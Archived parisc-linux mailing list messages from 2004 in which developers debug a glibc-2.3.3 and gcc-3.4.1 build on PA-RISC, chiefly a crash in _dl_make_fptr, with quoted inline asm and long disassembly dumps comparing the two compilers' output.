List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21947

> > the weird in this last warning is that it's a very small fnct:
> > [...]
> > static inline void
> > __set_cr27(struct _pthread_descr_struct * cr27)
> > {
> >      asm(
> >                 "ble    0xe0(%%sr2, %%r0)\n\t"
> >         "copy    %0, %%r26"
> >      : : "r" (cr27) : "r26" );
> > }
> > [...]

There might be a bug in gcc's size estimate for asm's.  See the
subsection "Size of an @code{asm}" in the gcc manual.  This could be
checked with a small test program that tries to inline the above.

>     244  static inline pthread_descr thread_self (void) __attribute__
> ((const,always_inline));

This is correct.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: back to glibc-2.3.3 & gcc-3.4.1 pb
Date: Mon, 6 Sep 2004 15:57:05 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <20040906195705.GM15721@baldric.uwo.ca>
References: <413B222D.8040601@tiscali.be>
	<200409060247.i862lvIU001539@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623544 10935 80.91.229.3 (22 Nov 2014 02:32:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3115 invoked by uid 65534); 6 Sep 2004 19:59:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 06 Sep 2004 21:59:13 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 125303BE0A; Mon,  6 Sep 2004 13:58:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27970-01; Mon, 6 Sep 2004 13:58:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C07363BDF3; Mon,  6 Sep 2004 13:57:59 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F55D3BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Sep 2004 13:57:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26487-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Sep 2004 13:57:55 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id D41DC3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Sep 2004 13:57:54 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C4Pbt-00028I-00; Mon, 06 Sep 2004 15:57:05 -0400
Content-Disposition: inline
In-Reply-To: <200409060247.i862lvIU001539@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (41% Sync Ratio [====......])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21948

On Sun, Sep 05, 2004 at 10:47:57PM -0400, John David Anglin wrote:
> > > ../sysdeps/generic/unwind-dw2.c:1021: warning: 
> > > 'fallback_frame_state_for' defined but not used
> > > rtld.c:730: warning: implicit declaration of function 
> 
> This problem in serious and needs to be fixed.  The function
> fallback_frame_state_for is needed.  It is only called from an asm and
> gcc doesn't know about calls from asm's.

It will only become important the day we need dwarf2 compat.
That function is used as a fallback if 'frame_state_for' doesn't exist,
and if libgcc_s.so.1 doesn't include '__frame_state_for', in which case
we use a fallback onto the dwarf2 compat code in glibc.

In an sjlj environment fallback_frame_state_for just becomes abort if
the above tests fail, and hence there is an extra
fallback_frame_state_for that doesn't get used in the glibc build with
an sjlj compiler.

See libc/sysdeps/generic/framestate.c for the fixes I made to this file.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: back to glibc-2.3.3 & gcc-3.4.1 pb
Date: Mon, 6 Sep 2004 15:58:05 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20040906195804.GN15721@baldric.uwo.ca>
References: <413B3845.1050302@tiscali.be>
	<200409060239.i862dAh2001466@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623544 10938 80.91.229.3 (22 Nov 2014 02:32:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26761 invoked by uid 65534); 6 Sep 2004 19:59:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 06 Sep 2004 21:59:19 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 52AB03BDD6; Mon,  6 Sep 2004 13:59:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27683-06; Mon, 6 Sep 2004 13:59:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id F2D8B3BE15; Mon,  6 Sep 2004 13:58:58 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF3DA3BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Sep 2004 13:58:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27970-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Sep 2004 13:58:53 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 2ABA03BDFF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Sep 2004 13:58:15 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C4Pcr-00028c-00; Mon, 06 Sep 2004 15:58:05 -0400
Content-Disposition: inline
In-Reply-To: <200409060239.i862dAh2001466@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (41% Sync Ratio [====......])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21949

On Sun, Sep 05, 2004 at 10:39:10PM -0400, John David Anglin wrote:
> >      0x411cc740 <_dl_make_fptr+112>: ldw,s r7(,r6),ret0
> > in:
> > r7 == 0x7c4
> > r6 == 0x0
> 
> r6 is wrong.  Find out why it is zero.

Agreed. It's crashing because it has bogus input in my opinion.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: back to glibc-2.3.3 & gcc-3.4.1 pb
Date: Mon, 06 Sep 2004 21:49:19 +0000
Lines: 284
Approved: news@gmane.org
Message-ID: <413CDB5F.3080705@tiscali.be>
References: <200409060239.i862dAh2001466@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623544 10940 80.91.229.3 (22 Nov 2014 02:32:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24370 invoked by uid 65534); 6 Sep 2004 21:48:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 06 Sep 2004 23:48:35 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0A1943BDF3; Mon,  6 Sep 2004 15:48:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28778-04; Mon, 6 Sep 2004 15:48:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1B5713BDFD; Mon,  6 Sep 2004 15:48:07 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B9DC33BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Sep 2004 15:47:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28379-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Sep 2004 15:47:58 -0600 (MDT)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id A9D163BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Sep 2004 15:47:57 -0600 (MDT)
Original-Received: from [83.134.225.100] (helo=[83.134.225.100])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1C4RL0-0006eo-HB; Mon, 06 Sep 2004 23:47:46 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.2) Gecko/20040820 Debian/1.7.2-4
X-Accept-Language: en
In-Reply-To: <200409060239.i862dAh2001466@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21950

Hello Dave,

John David Anglin wrote:
>>     0x411cc740 <_dl_make_fptr+112>: ldw,s r7(,r6),ret0
>>in:
>>r7 == 0x7c4
>>r6 == 0x0
> 
> 
> r6 is wrong.  Find out why it is zero.
> 
Far from being an expert, with help of ddd it seems that:
ElfW(Addr)
_dl_make_fptr (struct link_map *map, const ElfW(Sym) *sym,
                ElfW(Addr) ip)
{
   ElfW(Addr) *ftab = map->l_mach.fptr_table;	<====[2]

(Elf32_Addr *)fptr_table == (Elf32_Addr *) 0x0

(the same for gcc-3.3 ;) )

is:
Dump of assembler code from 0x411e371c to 0x411e381c:
     0x411e371c <_dl_make_fptr+76>:  ldw 1fc(,r26),r6 (r6 == 0x0)

the weird stuff his in fact here:

   if (__builtin_expect (ftab == NULL, 0))
     ftab = make_fptr_table (map);

with gcc-3.3 the register (r7) (which seems to me contains the value pointed by ftab) is well the one addressed by 
map->l_mach.fptr_table ie map->l_mach.fptr_table == 0x40001000 (and btw map->l_mach.fptr_table_len == 2067)

OTC with gcc-3.4 the register (r6) after the 'call' of the inlined make_fptr_table() is restored to its starting value i.e.: 0x0
eventhought that map->l_mach.fptr_table == 0x40001000 (and btw map->l_mach.fptr_table_len == 2067) exactly the same as gcc-3.3.

duno if it could help:
for gcc-3.3 the text is:
Dump of assembler code from 0x412630d0 to 0x412631d0:
     0x412630d0 <_dl_make_fptr+44>:  ldw 1fc(,r26),r7	<====[2]
     0x412630d4 <_dl_make_fptr+48>:  copy r26,r8
     0x412630d8 <_dl_make_fptr+52>:  cmpib,= 0,r7,0x412631a0 <_dl_make_fptr+252>	<===='call' make_fptr_table()
     0x412630dc <_dl_make_fptr+56>:  copy r25,r3
     0x412630e0 <_dl_make_fptr+60>:  ldw 30(,r8),r20
     0x412630e4 <_dl_make_fptr+64>:  ldw 1f8(,r8),r22
     0x412630e8 <_dl_make_fptr+68>:  ldw 4(,r20),r21
     0x412630ec <_dl_make_fptr+72>:  sub r3,r21,r21
     0x412630f0 <_dl_make_fptr+76>:  extrw,s r21,27,28,r21
     0x412630f4 <_dl_make_fptr+80>:  cmpb,<<= r22,r21,0x41263184 <_dl_make_fptr+224>
     0x412630f8 <_dl_make_fptr+84>:  depw,z r21,29,30,r9
     0x412630fc <_dl_make_fptr+88>:  add,l r9,r7,r21
     0x41263100 <_dl_make_fptr+92>:  ldw 0(,r21),r20
     0x41263104 <_dl_make_fptr+96>:  cmpib,<> 0,r20,0x41263150 <_dl_make_fptr+172>
     0x41263108 <_dl_make_fptr+100>: copy r21,r3
     0x4126310c <_dl_make_fptr+104>: copy r21,r6
     0x41263110 <_dl_make_fptr+108>: addil 0,r19,%r1
     0x41263114 <_dl_make_fptr+112>: ldw 5dc(,r1),r5
     0x41263118 <_dl_make_fptr+116>: ldw 24(,r8),r20
     0x4126311c <_dl_make_fptr+120>: copy r19,r4
     0x41263120 <_dl_make_fptr+124>: copy r10,r26
     0x41263124 <_dl_make_fptr+128>: b,l 0x41262fc4 <make_fdesc>,rp
     0x41263128 <_dl_make_fptr+132>: ldw 4(,r20),r25
     0x4126312c <_dl_make_fptr+136>: ldw 0(,r3),r20
     0x41263130 <_dl_make_fptr+140>: cmpib,= 0,r20,0x4126317c <_dl_make_fptr+216>
     0x41263134 <_dl_make_fptr+144>: copy r4,r19
     0x41263138 <_dl_make_fptr+148>: ldw 4(,r5),r20
     0x4126313c <_dl_make_fptr+152>: stw r20,0(,ret0)
     0x41263140 <_dl_make_fptr+156>: stw ret0,4(,r5)
     0x41263144 <_dl_make_fptr+160>: ldw 0(,r6),r20
     0x41263148 <_dl_make_fptr+164>: cmpib,=,n 0,r20,0x4126311c <_dl_make_fptr+120>
     0x4126314c <_dl_make_fptr+168>: ldw 24(,r8),r20
     0x41263150 <_dl_make_fptr+172>: ldw r7(,r9),ret0
     0x41263154 <_dl_make_fptr+176>: ldw -94(,sp),rp
     0x41263158 <_dl_make_fptr+180>: ldw -7c(,sp),r9
     0x4126315c <_dl_make_fptr+184>: ldw -78(,sp),r8
     0x41263160 <_dl_make_fptr+188>: ldw -74(,sp),r7
     0x41263164 <_dl_make_fptr+192>: ldw -70(,sp),r6
     0x41263168 <_dl_make_fptr+196>: ldw -6c(,sp),r5
     0x4126316c <_dl_make_fptr+200>: ldw -68(,sp),r4
     0x41263170 <_dl_make_fptr+204>: ldw -64(,sp),r3
     0x41263174 <_dl_make_fptr+208>: bv r0(rp)
     0x41263178 <_dl_make_fptr+212>: ldw,mb -80(,sp),r10
     0x4126317c <_dl_make_fptr+216>: b,l 0x41263150 <_dl_make_fptr+172>,r0
     0x41263180 <_dl_make_fptr+220>: stw ret0,0(,r3)
     0x41263184 <_dl_make_fptr+224>: addil 0,r19,%r1
     0x41263188 <_dl_make_fptr+228>: ldi 0,r26
     0x4126318c <_dl_make_fptr+232>: ldw 5e4(,r1),r1
     0x41263190 <_dl_make_fptr+236>: copy r1,r23
     0x41263194 <_dl_make_fptr+240>: ldi 0,r25
     0x41263198 <_dl_make_fptr+244>: b,l 0x4125e4f8 <_dl_signal_error>,rp
     0x4126319c <_dl_make_fptr+248>: ldi 0,r24
     0x412631a0 <_dl_make_fptr+252>: ldw 2c(,r26),r21		<==== map->l_mach.fptr_table()
     0x412631a4 <_dl_make_fptr+256>: ldw 30(,r26),r20
     0x412631a8 <_dl_make_fptr+260>: addil 0,r19,%r1
     0x412631ac <_dl_make_fptr+264>: copy r19,r4
     0x412631b0 <_dl_make_fptr+268>: ldw 4(,r20),r22
     0x412631b4 <_dl_make_fptr+272>: ldw 4(,r21),r26
     0x412631b8 <_dl_make_fptr+276>: ldi 3,r24
     0x412631bc <_dl_make_fptr+280>: ldi 12,r23
     0x412631c0 <_dl_make_fptr+284>: ldw 44(,r8),r21
     0x412631c4 <_dl_make_fptr+288>: sub r26,r22,r26
     0x412631c8 <_dl_make_fptr+292>: ldw 654(,r1),r1
     0x412631cc <_dl_make_fptr+296>: ldw 4(,r21),r25
     0x412631d0 <_dl_make_fptr+300>: ldw 4(,r1),r20
     0x412631d4 <_dl_make_fptr+304>: ldi -1,r21
     0x412631d8 <_dl_make_fptr+308>: b,l 0x41265570 <$$divU>,r31
     0x412631dc <_dl_make_fptr+312>: sub r0,r20,r22
     0x412631e0 <_dl_make_fptr+316>: stw r21,-34(,sp)
     0x412631e4 <_dl_make_fptr+320>: ldi 0,r26
     0x412631e8 <_dl_make_fptr+324>: depw,z ret1,29,30,r5
     0x412631ec <_dl_make_fptr+328>: stw r0,-38(,sp)
     0x412631f0 <_dl_make_fptr+332>: copy ret1,r6
     0x412631f4 <_dl_make_fptr+336>: add,l r5,r20,r20
     0x412631f8 <_dl_make_fptr+340>: add,l r20,r21,r20
     0x412631fc <_dl_make_fptr+344>: and r20,r22,r20
     0x41263200 <_dl_make_fptr+348>: b,l 0x412641bc <__mmap>,rp
     0x41263204 <_dl_make_fptr+352>: copy r20,r25
     0x41263208 <_dl_make_fptr+356>: copy r4,r19
     0x4126320c <_dl_make_fptr+360>: cmpib,= -1,ret0,0x4126323c <_dl_make_fptr+408>
     0x41263210 <_dl_make_fptr+364>: copy ret0,r26
     0x41263214 <_dl_make_fptr+368>: ldw 1fc(,r8),r20
     0x41263218 <_dl_make_fptr+372>: cmpib,<>,n 0,r20,0x4126322c <_dl_make_fptr+392>
     0x4126321c <_dl_make_fptr+376>: stw ret0,1fc(,r8)
     0x41263220 <_dl_make_fptr+380>: stw r6,1f8(,r8)
     0x41263224 <_dl_make_fptr+384>: b,l 0x412630e0 <_dl_make_fptr+60>,r0
     0x41263228 <_dl_make_fptr+388>: ldw 1fc(,r8),r7	<==== return map->l_mach.fptr_table;
     0x4126322c <_dl_make_fptr+392>: b,l 0x4126421c <munmap>,rp
     0x41263230 <_dl_make_fptr+396>: copy r5,r25
     0x41263234 <_dl_make_fptr+400>: b,l 0x41263224 <_dl_make_fptr+384>,r0
     0x41263238 <_dl_make_fptr+404>: copy r4,r19
     0x4126323c <_dl_make_fptr+408>: addil 0,r4,%r1
     0x41263240 <_dl_make_fptr+412>: copy r1,r20
     0x41263244 <_dl_make_fptr+416>: ldw 62c(,r20),r20
     0x41263248 <_dl_make_fptr+420>: ldw 0(,r20),r26
     0x4126324c <_dl_make_fptr+424>: addil 0,r4,%r1
     0x41263250 <_dl_make_fptr+428>: ldw 5e8(,r1),r21
     0x41263254 <_dl_make_fptr+432>: b,l 0x41263194 <_dl_make_fptr+240>,r0
     0x41263258 <_dl_make_fptr+436>: copy r21,r23
  [...]

and for gcc-3.4:
Dump of assembler code from 0x4128571c to 0x4128581c:
     0x4128571c <_dl_make_fptr+76>:  ldw 1fc(,r26),r6	<====[2]
     0x41285720 <_dl_make_fptr+80>:  cmpib,= 0,r6,0x412858f4 <_dl_make_fptr+548>	<===='call' make_fptr_table()
     0x41285724 <_dl_make_fptr+84>:  copy r25,r3
     0x41285728 <_dl_make_fptr+88>:  ldw 1f8(,r26),ret1
     0x4128572c <_dl_make_fptr+92>:  ldw 30(,r10),r21
     0x41285730 <_dl_make_fptr+96>:  ldw 4(,r21),r20
     0x41285734 <_dl_make_fptr+100>: sub r3,r20,r20
     0x41285738 <_dl_make_fptr+104>: extrw,s r20,27,28,r7
     0x4128573c <_dl_make_fptr+108>: cmpb,>>=,n r7,ret1,0x412859d0 <_dl_make_fptr+768>
     0x41285740 <_dl_make_fptr+112>: ldw,s r7(,r6),ret0
     0x41285744 <_dl_make_fptr+116>: cmpib,<> 0,ret0,0x412857c8 <_dl_make_fptr+248>
     0x41285748 <_dl_make_fptr+120>: addil 0,r19,%r1
     0x4128574c <_dl_make_fptr+124>: depw,z r7,29,30,r11
     0x41285750 <_dl_make_fptr+128>: ldw 638(,r1),r13
     0x41285754 <_dl_make_fptr+132>: addil 0,r19,%r1
     0x41285758 <_dl_make_fptr+136>: ldw 5c0(,r1),r5
     0x4128575c <_dl_make_fptr+140>: addil 0,r19,%r1
     0x41285760 <_dl_make_fptr+144>: ldo -78(sp),r14
     0x41285764 <_dl_make_fptr+148>: ldw 610(,r1),r16
     0x41285768 <_dl_make_fptr+152>: add,l r11,r6,r15
     0x4128576c <_dl_make_fptr+156>: copy r5,r9
     0x41285770 <_dl_make_fptr+160>: ldw 24(,r10),r20
     0x41285774 <_dl_make_fptr+164>: ldw 4(,r20),r8
     0x41285778 <_dl_make_fptr+168>: ldw 0(,r5),r3
     0x4128577c <_dl_make_fptr+172>: ldw 4(,r3),r23
     0x41285780 <_dl_make_fptr+176>: ldw 8(,r3),r20
     0x41285784 <_dl_make_fptr+180>: cmpb,>>= r20,r23,0x4128580c <_dl_make_fptr+316>
     0x41285788 <_dl_make_fptr+184>: ldo 1(r20),r22
     0x4128578c <_dl_make_fptr+188>: ldw 8(,r3),r21
     0x41285790 <_dl_make_fptr+192>: cmpb,<> r20,r21,0x41285780 <_dl_make_fptr+176>
     0x41285794 <_dl_make_fptr+196>: shladd,l r21,3,r3,r20
     0x41285798 <_dl_make_fptr+200>: stw r22,8(,r3)
     0x4128579c <_dl_make_fptr+204>: ldo c(r20),r26
     0x412857a0 <_dl_make_fptr+208>: stw r8,4(,r26)
     0x412857a4 <_dl_make_fptr+212>: stw r12,0(,r26)
     0x412857a8 <_dl_make_fptr+216>: ldw r11(,r6),r20
     0x412857ac <_dl_make_fptr+220>: cmpib,=,n 0,r20,0x412858a8 <_dl_make_fptr+472>
     0x412857b0 <_dl_make_fptr+224>: ldw 4(,r9),r20
     0x412857b4 <_dl_make_fptr+228>: stw r20,0(,r26)
     0x412857b8 <_dl_make_fptr+232>: stw r26,4(,r9)
     0x412857bc <_dl_make_fptr+236>: ldw,s r7(,r6),ret0
     0x412857c0 <_dl_make_fptr+240>: cmpib,=,n 0,ret0,0x41285774 <_dl_make_fptr+164>
     0x412857c4 <_dl_make_fptr+244>: ldw 24(,r10),r20
     0x412857c8 <_dl_make_fptr+248>: ldw -94(,sp),rp
     0x412857cc <_dl_make_fptr+252>: ldw -74(,sp),r16
     0x412857d0 <_dl_make_fptr+256>: ldw -70(,sp),r15
     0x412857d4 <_dl_make_fptr+260>: ldw -6c(,sp),r14
     0x412857d8 <_dl_make_fptr+264>: ldw -68(,sp),r13
     0x412857dc <_dl_make_fptr+268>: ldw -64(,sp),r12
     0x412857e0 <_dl_make_fptr+272>: ldw -60(,sp),r11
     0x412857e4 <_dl_make_fptr+276>: ldw -5c(,sp),r10
     0x412857e8 <_dl_make_fptr+280>: ldw -58(,sp),r9
     0x412857ec <_dl_make_fptr+284>: ldw -54(,sp),r8
